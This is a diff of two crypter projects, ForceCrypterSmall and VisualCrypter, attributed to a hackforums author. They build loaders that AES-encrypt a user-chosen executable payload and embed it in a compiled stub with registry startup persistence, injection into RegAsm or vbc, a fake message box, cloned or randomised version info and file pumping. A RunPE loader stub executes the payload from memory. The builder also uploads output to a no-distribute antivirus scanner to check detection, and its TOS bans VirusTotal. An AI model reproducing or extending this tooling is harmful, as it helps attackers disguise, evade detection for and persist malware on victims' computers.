nGm/vcb/r7C04LO0t+vCwsX/mZycirW3uOukp6hOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AACmqKsOnqCjbaCipDagoqNToKOjg62wsQSrra4CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4DwAA4AMAAIAB
AACAAAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAgAAAAIABAADAAQAA4AcAAPgPAAD//wAA
</value>
</data>
</root>
@@ -0,0 +1,8 @@
Public Class News
Private Sub News_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Me.StartPosition = FormStartPosition.Manual
Me.Location = Screen.GetWorkingArea(Me).Location
Dim MyForm As New Index
MyForm.Show()
End Sub
End Class
@@ -0,0 +1,74 @@
Option Explicit Off
Option Strict Off
Imports System, Microsoft.VisualBasic
Imports Microsoft.VisualBasic.CompilerServices
Imports System.Reflection
Imports System.Text
Imports System.Security.Cryptography
Imports System.IO.Compression
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Runtime.CompilerServices
Imports System.Reflection.Emit
Imports System.Windows.Forms
<Assembly: AssemblyTitle("Poison API")>
<Assembly: AssemblyDescription("Poison API")>
<Assembly: AssemblyCompany("Poison API")>
'<Assembly: AssemblyProduct("PoisonScanner API")>
<Assembly: AssemblyCopyright("Copyright © 2016")>
<Assembly: AssemblyVersion("1.0.0.0")>
<Assembly: AssemblyFileVersion("1.0.0.0")>
Namespace Intro
Public Class ChapterOne
Shared str As String = "%*%"
Public Shared Sub Main()
Invoke(retrieveRunPE, "Cls", "Mth", New Object() {str})
End Sub
Public Shared Function Invoke(ByVal input() As Byte, ByVal cls As String, ByVal procname As String, ByVal args() As Object) As Object
Dim handler As New DynamicMethod("", GetType(Object), New [Type]() {GetType(Byte()), GetType(String), GetType(String), GetType(Object())})
Dim IL As ILGenerator = handler.GetILGenerator
Dim argsLoad() As Type = New [Type]() {GetType(Byte())}
Dim mthLoad As MethodInfo = GetType(Assembly).GetMethod("Load", argsLoad)
Dim argsGTYPE() As Type = New [Type]() {GetType(String)}
Dim mthGTYPE As MethodInfo = GetType(Assembly).GetMethod("GetType", argsGTYPE)
Dim argsActi() As Type = New [Type]() {GetType(Type)}
Dim mthActi As MethodInfo = GetType(Activator).GetMethod("CreateInstance", argsActi)
Dim argsGetVal() As Type = New [Type]() {GetType(Object)}
Dim mthGetVal As MethodInfo = GetType(RuntimeHelpers).GetMethod("GetObjectValue", argsGetVal)
Dim mthCallByName As MethodInfo = GetType(Versioned).GetMethod("CallByName")
IL.Emit(OpCodes.Ldarg_0)
IL.Emit(OpCodes.Call, mthLoad)
IL.Emit(OpCodes.Ldarg_1)
IL.EmitCall(OpCodes.Callvirt, mthGTYPE, Nothing)
IL.Emit(OpCodes.Call, mthActi)
IL.Emit(OpCodes.Call, mthGetVal)
IL.Emit(OpCodes.Ldarg_2)
IL.Emit(OpCodes.Ldc_I4_1)
IL.Emit(OpCodes.Ldarg_3)
IL.Emit(OpCodes.Call, mthCallByName)
IL.Emit(OpCodes.Ret)
Return CallByName(handler, "Invoke", CallType.Method, New Object() {handler, New Object() {input, cls, procname, args}})
End Function
Public Shared Function retrieveRunPE() As Byte()
Dim resMan As New Resources.ResourceManager("2016", Assembly.GetEntryAssembly)
Return resMan.GetObject("%libraryName%")
End Function
End Class
End Namespace
@@ -0,0 +1 @@

@@ -0,0 +1,151 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="12.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{F8C9981E-A7C6-4CDD-B491-B2294243D01A}</ProjectGuid>
<OutputType>WinExe</OutputType>
<StartupObject>VisualCrypter.My.MyApplication</StartupObject>
<RootNamespace>VisualCrypter</RootNamespace>
<AssemblyName>Visual Protector</AssemblyName>
<FileAlignment>512</FileAlignment>
<MyType>WindowsForms</MyType>
<TargetFrameworkVersion>v3.5</TargetFrameworkVersion>
<TargetFrameworkProfile />
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<DefineDebug>true</DefineDebug>
<DefineTrace>true</DefineTrace>
<OutputPath>bin\Debug\</OutputPath>
<DocumentationFile>Visual Protector.xml</DocumentationFile>
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<DefineDebug>false</DefineDebug>
<DefineTrace>true</DefineTrace>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DocumentationFile>Visual Protector.xml</DocumentationFile>
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
</PropertyGroup>
<PropertyGroup>
<OptionExplicit>On</OptionExplicit>
</PropertyGroup>
<PropertyGroup>
<OptionCompare>Binary</OptionCompare>
</PropertyGroup>
<PropertyGroup>
<OptionStrict>Off</OptionStrict>
</PropertyGroup>
<PropertyGroup>
<OptionInfer>On</OptionInfer>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x86'">
<PlatformTarget>x86</PlatformTarget>
<OutputPath>bin\x86\Debug\</OutputPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|x86'">
<PlatformTarget>x86</PlatformTarget>
<OutputPath>bin\x86\Release\</OutputPath>
</PropertyGroup>
<PropertyGroup>
<ApplicationIcon>Gnome-Applications-System.ico</ApplicationIcon>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Data" />
<Reference Include="System.Deployment" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Import Include="Microsoft.VisualBasic" />
<Import Include="System" />
<Import Include="System.Collections" />
<Import Include="System.Collections.Generic" />
<Import Include="System.Data" />
<Import Include="System.Drawing" />
<Import Include="System.Diagnostics" />
<Import Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="Index.vb">
<SubType>Form</SubType>
</Compile>
<Compile Include="Index.Designer.vb">
<DependentUpon>Index.vb</DependentUpon>
<SubType>Form</SubType>
</Compile>
<Compile Include="My Project\AssemblyInfo.vb" />
<Compile Include="My Project\Application.Designer.vb">
<AutoGen>True</AutoGen>
<DependentUpon>Application.myapp</DependentUpon>
</Compile>
<Compile Include="My Project\Resources.Designer.vb">
<AutoGen>True</AutoGen>
<DesignTime>True</DesignTime>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
<Compile Include="My Project\Settings.Designer.vb">
<AutoGen>True</AutoGen>
<DependentUpon>Settings.settings</DependentUpon>
<DesignTimeSharedInput>True</DesignTimeSharedInput>
</Compile>
<Compile Include="News.Designer.vb">
<DependentUpon>News.vb</DependentUpon>
</Compile>
<Compile Include="News.vb">
<SubType>Form</SubType>
</Compile>
<None Include="Resources\Code.vb" />
<Compile Include="TestCode.vb" />
<Compile Include="VisualTheme.vb">
<SubType>Component</SubType>
</Compile>
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="Index.resx">
<DependentUpon>Index.vb</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="My Project\Resources.resx">
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
<CustomToolNamespace>My.Resources</CustomToolNamespace>
<SubType>Designer</SubType>
</EmbeddedResource>
<EmbeddedResource Include="News.resx">
<DependentUpon>News.vb</DependentUpon>
</EmbeddedResource>
</ItemGroup>
<ItemGroup>
<None Include="app.config" />
<None Include="My Project\Application.myapp">
<Generator>MyApplicationCodeGenerator</Generator>
<LastGenOutput>Application.Designer.vb</LastGenOutput>
</None>
<None Include="My Project\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
<CustomToolNamespace>My</CustomToolNamespace>
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
</None>
</ItemGroup>
<ItemGroup>
<Content Include="Gnome-Applications-System.ico" />
<None Include="Resources\DPL.dll" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
</Project>
@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<ProjectView>ProjectFiles</ProjectView>
</PropertyGroup>
</Project>
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,23 @@
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<system.diagnostics>
<sources>
<!-- This section defines the logging configuration for My.Application.Log -->
<source name="DefaultSource" switchName="DefaultSwitch">
<listeners>
<add name="FileLog"/>
<!-- Uncomment the below section to write to the Application Event Log -->
<!--<add name="EventLog"/>-->
</listeners>
</source>
</sources>
<switches>
<add name="DefaultSwitch" value="Information"/>
</switches>
<sharedListeners>
<add name="FileLog" type="Microsoft.VisualBasic.Logging.FileLogTraceListener, Microsoft.VisualBasic, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL" initializeData="FileLogWriter"/>
<!-- Uncomment the below section and replace APPLICATION_NAME with the name of your application to write to the Application Event Log -->
<!--<add name="EventLog" type="System.Diagnostics.EventLogTraceListener" initializeData="APPLICATION_NAME"/> -->
</sharedListeners>
</system.diagnostics>
<startup><supportedRuntime version="v2.0.50727"/></startup></configuration>
Binary file not shown.

After

Width:  |  Height:  |  Size: 97 KiB

@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v2.0.50727"/></startup>
</configuration>
@@ -0,0 +1,103 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{14028E44-3B0C-491C-BE44-2A271E1B7501}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>ForceCrypterSmall</RootNamespace>
<AssemblyName>ForceCrypterSmall</AssemblyName>
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<TargetFrameworkProfile />
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>x86</PlatformTarget>
<DebugSymbols>false</DebugSymbols>
<DebugType>none</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.DirectoryServices" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Deployment" />
<Reference Include="System.Drawing" />
<Reference Include="System.Net.Http" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="encboop.cs" />
<Compile Include="Form1.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="Form1.Designer.cs">
<DependentUpon>Form1.cs</DependentUpon>
</Compile>
<Compile Include="NSTheme.cs" />
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Resources\boop.cs" />
<Compile Include="Resources\Compiler.cs" />
<Compile Include="ThemeBase154.cs">
<SubType>Component</SubType>
</Compile>
<EmbeddedResource Include="Form1.resx">
<DependentUpon>Form1.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="Properties\Resources.resx">
<Generator>ResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
<SubType>Designer</SubType>
</EmbeddedResource>
<Compile Include="Properties\Resources.Designer.cs">
<AutoGen>True</AutoGen>
<DependentUpon>Resources.resx</DependentUpon>
<DesignTime>True</DesignTime>
</Compile>
<None Include="Properties\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
</None>
<Compile Include="Properties\Settings.Designer.cs">
<AutoGen>True</AutoGen>
<DependentUpon>Settings.settings</DependentUpon>
<DesignTimeSharedInput>True</DesignTimeSharedInput>
</Compile>
</ItemGroup>
<ItemGroup>
<None Include="App.config" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\boop.txt" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
</Project>
File diff suppressed because it is too large Load Diff
+347
View File
@@ -0,0 +1,347 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Configuration;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using System.IO;
using System.Resources;
using Microsoft.Win32;
using ForceCrypterSmall.Resources;
using System.Globalization;
using System.Security.Cryptography;
using System.Net;
//Copyright 2016
//Made by mrmutt for hackforums uid=3005497
//Please leave this note here
namespace ForceCrypterSmall
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
Size T = Screen.PrimaryScreen.WorkingArea.Size;
Location = new Point(T.Width / 2 - Width / 2, T.Height / 2 - Height / 2);
}
private string RandomString(int length)
{
//Making a random string from the pool
string pool = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWKYZ1234567890";
pool += pool.ToUpper();
string tmp = "";
Random R = new Random();
for (int x = 0; x < length; x++)
{
tmp += pool[R.Next(0, pool.Length)].ToString();
}
return tmp;
}
private string RandomNumber(int _length)
{
//Making a random number for the random assemblys version
string pool = "0123456789";
pool += pool.ToUpper();
string tmp = "";
Random R = new Random();
for (int x = 0; x < _length; x++)
{
tmp += pool[R.Next(0, pool.Length)].ToString();
}
return tmp;
}
public void Pump(string file, int amount, bool random)
{
//Pumping function
FileStream fs = new FileStream(file, FileMode.Append, FileAccess.Write);
byte[] bytes = new byte[amount];
if (random)
{
Random rand = new Random();
rand.NextBytes(bytes);
}
fs.Write(bytes, 0, amount);
fs.Close();
}
private void btnPayload_Click(object sender, EventArgs e)
{
//Open file dialog to let the user select a payload
using (OpenFileDialog ofd = new OpenFileDialog())
{
if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
ofd.Filter = "Payload|*.exe";
txtPayload.Text = ofd.FileName;
}
}
}
private void btnIcon_Click_1(object sender, EventArgs e)
{
//Open file dialog that lets the user to pick a icon
using (OpenFileDialog ofd = new OpenFileDialog())
{
ofd.Filter = "Icon|*.ico";
if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
txtIcon.Text = ofd.FileName;
}
}
}
private void btnRandomize_Click_1(object sender, EventArgs e)
{
//Giving the assembly information text boxes random strings and numbers.
txtVersion.Text = RandomString(9);
txtCompany.Text = RandomString(16);
txtProduct.Text = RandomString(19);
txtCopyright.Text = RandomString(21);
txtTrademark.Text = RandomString(18);
txtVersion.Text = (RandomNumber(1) + "." + RandomNumber(2) + "." + RandomNumber(1) + "." + RandomNumber(1));
txtFVersion.Text = (RandomNumber(1) + "." + RandomNumber(1) + "." + RandomNumber(2) + "." + RandomNumber(2));
txtDescription.Text = RandomString(17);
txtTitle.Text = RandomString(15);
}
private void btnClone_Click_1(object sender, EventArgs e)
{
// Selecting a file to clone
using (OpenFileDialog ofd = new OpenFileDialog())
{
ofd.Filter = "Excutables|*.exe";
if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
//File version info is all the assembly information about the file we picked with the open file dialog
FileVersionInfo myFileVersionInfo =
FileVersionInfo.GetVersionInfo(ofd.FileName);
//Changing the text boxes test to be the assembly information of the file we selected
txtFVersion.Text = myFileVersionInfo.FileVersion;
txtVersion.Text = myFileVersionInfo.ProductVersion;
txtProduct.Text = myFileVersionInfo.CompanyName;
txtDescription.Text = myFileVersionInfo.FileDescription;
txtCopyright.Text = myFileVersionInfo.LegalCopyright;
txtTrademark.Text = myFileVersionInfo.LegalTrademarks;
txtProduct.Text = myFileVersionInfo.ProductName;
txtTitle.Text = myFileVersionInfo.InternalName;
txtCompany.Text = myFileVersionInfo.CompanyName;
}
}
}
private void btnCrypt_Click_1(object sender, EventArgs e)
{
//Letting the user choose where to save the crypted file
SaveFileDialog FSave = new SaveFileDialog()
{
Filter = "Executable Files|*.exe",
InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
};
//If he choose and everything is good
if (FSave.ShowDialog() == DialogResult.OK)
{
//Refrencing our stub
string boop = Properties.Resources.boop;
//Assembly information
boop = boop.Replace("[title-replace]", txtTitle.Text);
boop = boop.Replace("[company-replace]", txtCompany.Text);
boop = boop.Replace("[product-replace]", txtProduct.Text);
boop = boop.Replace("[copyright-replace]", txtCopyright.Text);
boop = boop.Replace("[trademark-replace]", txtTrademark.Text);
boop = boop.Replace("[desc-replace]", txtDescription.Text);
boop = boop.Replace("[version-replace]", txtVersion.Text);
boop = boop.Replace("[fversion-replace]", txtFVersion.Text);
//Checking if the user checked startup and if he did replace the bool in stub.
boop = boop.Replace("[startup-replace]", cbStartup.Checked ? "true" : "false");
//Another startup check
if (cbStartup.Checked)
{
//RegisteryKey
boop = boop.Replace("[regfname-replace]", txtFName.Text);
boop = boop.Replace("[regfiname-replace]", txtStartup.Text);
boop = boop.Replace("[regkey-replace]", txtRegKey.Text);
//FolderName
boop = boop.Replace("[fname-replace]", txtFName.Text);
//FileName
boop = boop.Replace("[finame-replace]", txtStartup.Text);
}
if (cbMsgBox.Checked)
{
boop = boop.Replace("[fakemessage-replace]", "true");
boop = boop.Replace("[messagetitle-replace]", txtMsgTitle.Text);
boop = boop.Replace("[messagetext-replace]", txtMsg.Text);
}
else
{
boop = boop.Replace("[fakemessage-replace]", "false");
}
string encryptionkey = RandomString(300);
//Replacing the key in the stub with our encryption key
boop = boop.Replace("[key-replace]", encryptionkey);
//Reading the bytes from our payload
byte[] fBytes = File.ReadAllBytes(txtPayload.Text);
//Crypting process
string fCrypted = Convert.ToBase64String(fBytes);
//Crypting process
byte[] first = Encoding.UTF8.GetBytes(fCrypted);
//Getting the bytes from the encryption key
byte[] enckey = Encoding.UTF8.GetBytes(encryptionkey);
//Making a hash for the key
enckey = SHA256.Create().ComputeHash(enckey);
//Encrypting the bytes of the payload
byte[] encBytes = Encboop.AESEncrypt(first, enckey);
//Injection methods
if (rbItself.Checked)
boop = boop.Replace("[inject-replace]", "[itself]");
if(rbRegAsm.Checked)
boop = boop.Replace("[inject-replace]", "[regasm]");
if(rbVbc.Checked)
boop = boop.Replace("[inject-replace]", "[vbc]");
//Checking if user wanted delay
if(txtDelay.Text!=null)
boop = boop.Replace("[delay-replace]", txtDelay.Text);
if(txtDelay.Text == ""| txtDelay.Text == null)
boop = boop.Replace("[delay-replace]", "0");
bool worked;
//Our resource file
string ResF = Path.Combine(Application.StartupPath, "Encrypted.resources");
//Using a resourcewriter on our resource file
using (var Writer = new ResourceWriter(ResF))
{
//Adding the encrypted bytes to the resource file
Writer.AddResource("encfile", encBytes);
//Generating
Writer.Generate();
}
//If there is a icon compile with icon
if (File.Exists(txtIcon.Text))
worked = Compiler.CompileFromSource(boop, FSave.FileName, txtIcon.Text, new string[] {ResF});
//If not compile without
else
worked = Compiler.CompileFromSource(boop, FSave.FileName, null, new string[] {ResF});
//If worked show a messagebox
if (worked)
MessageBox.Show("Forced!", "Succsess!", MessageBoxButtons.OK, MessageBoxIcon.Information);
//If user chose to pump we pump the output file
if (cbPump.Checked)
{
if (rbRandomBytes.Checked)
{
Pump(FSave.FileName, int.Parse(txtPump.Text)*8*124, true);
}
else
{
Pump(FSave.FileName, int.Parse(txtPump.Text)*8*124, false);
}
}
}
}
public void Scan(string Filename) //File Scan
{
try
{
WebClient WBC = new WebClient(); //New WebClient
WBC.UploadFileCompleted += new UploadFileCompletedEventHandler(GetResults); //Adding Handler For Completion of WebClient Upload
WBC.UploadFileAsync(new Uri("https://www.pscan.xyz/api.php"), "POST", Filename); //Upload File for scan
while (WBC.IsBusy) { Application.DoEvents(); } // While Webclient is busy Do other Events
}
catch (Exception ex)
{
this.btnScan.Enabled = true;
MessageBox.Show(ex.Message); //Show Messagebox On Error
}
}
private void GetResults(object sender, System.Net.UploadFileCompletedEventArgs e) //Get Response from Server
{
try
{
string Results = System.Text.Encoding.UTF8.GetString(e.Result); //Get Response
AddtoLV(Results); //Add Response to Listivew
this.btnScan.Enabled = true;
}
catch (Exception ex)
{
this.btnScan.Enabled = true;
MessageBox.Show(ex.Message); //Show Messagebox On Error
}
}
private void AddtoLV(string response) //Add Response to Listview
{
listView1.Items.Clear(); //Remove scanned file trace
try
{
string[] AVDelimiter = new string[] { "[NextAV]" }; //AVs Delimiter
string[] AV = response.Split(AVDelimiter, StringSplitOptions.RemoveEmptyEntries); // AVs Splitter
string[] Delimiter1 = new string[] { "[ResultDetails]" }; //Result Details Delimiter
string[] ScanDetails = response.Split(Delimiter1, StringSplitOptions.RemoveEmptyEntries); //Split Results from Details
string[] Links = new string[] { "[Details]" }; //Details Delimiter
string[] ii = ScanDetails[1].Split(Links, StringSplitOptions.RemoveEmptyEntries); //Split Scan Details
txtScanRate.Text = ii[4]; //Detection Rate
txtScanLink.Text = ii[5]; //Scan Results Link
int processed = 0; //AV Counter
foreach (var i in AV) //Split Each AV
{
if (++processed == 36) break; //Stop Adding when Added all 35 AVs
string[] fa = new string[] { "[]Result[]" }; //Delimiter
string[] fr = i.Split(fa, StringSplitOptions.RemoveEmptyEntries); //Split AV From Result
ListViewItem x = new ListViewItem(fr[0]); //Add item AV
x.SubItems.Add(fr[1]); //Add AV result to Item
if (fr[1] == "OK")
{
x.ForeColor = Color.ForestGreen; //Lime Color For Clean Result
}
else
{
x.ForeColor = Color.Red; //Red Color for Infected Result
}
listView1.Items.Add(x); //Add AV and its Result to Listivew
}
}
catch (Exception ex) { MessageBox.Show(ex.Message); } //Message Anny error Occured
}
private void btnScanFile_Click(object sender, EventArgs e)
{
OpenFileDialog OFD = new OpenFileDialog(); //New OpenFileDialog
DialogResult result = OFD.ShowDialog(); // Show OpenFileDialog
if (result == DialogResult.OK) // Test result.
{ txtScanFile.Text = OFD.FileName; }
}
private void btnScan_Click(object sender, EventArgs e)
{
this.btnScan.Enabled = false;
Scan(txtScanFile.Text);
}
}
}
@@ -0,0 +1,129 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<data name="richTextBox2.Text" xml:space="preserve">
<value>TOS:
This program was not meant to be used for malicious use.
This program was built for legit use such as protecting code from RE.
The author MrMutt(mrmutt) Is not responsible in any way for any malicous and illegal use of this program.
No scanning on virustotal.com or any other sites that disturbite.
ONLY USE www.pscan.xyz, https://scan.majyx.net/
</value>
</data>
</root>
@@ -0,0 +1,35 @@
Stub:
//em = encMethod stuff
//enc = All the encryption/decryption function (ex PolyDexDecrypt key = in PolyDexDecrypt function the variable "key")
//fun = anything that is in a function (ex AddToStartup string key = a variable in the function stated named "key")
byte PolyBabyDecrypt = QMtSHObM
byte PolyDexDecrypt = nCCDlgs5
byte StairsDecrypt = EyyzbDaLHB
void AddToStartup = TQEKIP
void HideFile = wcpiLYQLsRB
bool_startup = NfTuXbxvnS
[startup-replace] = [YpxjOfFPB]
[key-replace] = [FkSsotrjPQJ]
[encmethod-replace] = [kBfYFTdYhQmS]
[delay-replace] = [ozwFhkbJnubLk]
em string polydex = [GcUkSblPzhF]
em string polystairs = [SwsurtcRSH]
em string dex = [SgCy4ca]
em string aes = [fGaH2f]
enc StairsDecrypt byte key = gbaFhA
enc StairsDecrypt string Key = ggGhF
